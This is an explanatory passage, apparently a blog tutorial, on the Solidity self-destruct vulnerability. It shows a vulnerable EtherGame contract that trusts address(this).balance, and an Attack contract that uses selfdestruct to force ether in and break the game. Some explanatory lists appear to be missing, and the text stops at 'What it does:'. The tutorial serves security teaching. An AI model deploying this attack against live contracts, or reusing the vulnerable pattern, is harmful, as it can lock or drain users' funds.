This is one of the classic Solidity security lessons — the Self-destruct vulnerability — and it’s a neat example of why you should never trust address(this).balance inside your contract logic. Let’s break it down like a detective at a digital crime scene.
contract EtherGame {
uint256 public constant TARGET_AMOUNT = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint256 balance = address(this).balance;
require(balance <= TARGET_AMOUNT, "Game is over");
if (balance == TARGET_AMOUNT) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent,) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
What’s happening here:
claimReward() to withdraw all the ether.The contract thinks it’s safe because:
But that “safety” relies on this line:
uint256 balance = address(this).balance;
And that’s the mistake.
Here comes the Attack contract:
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
What it does: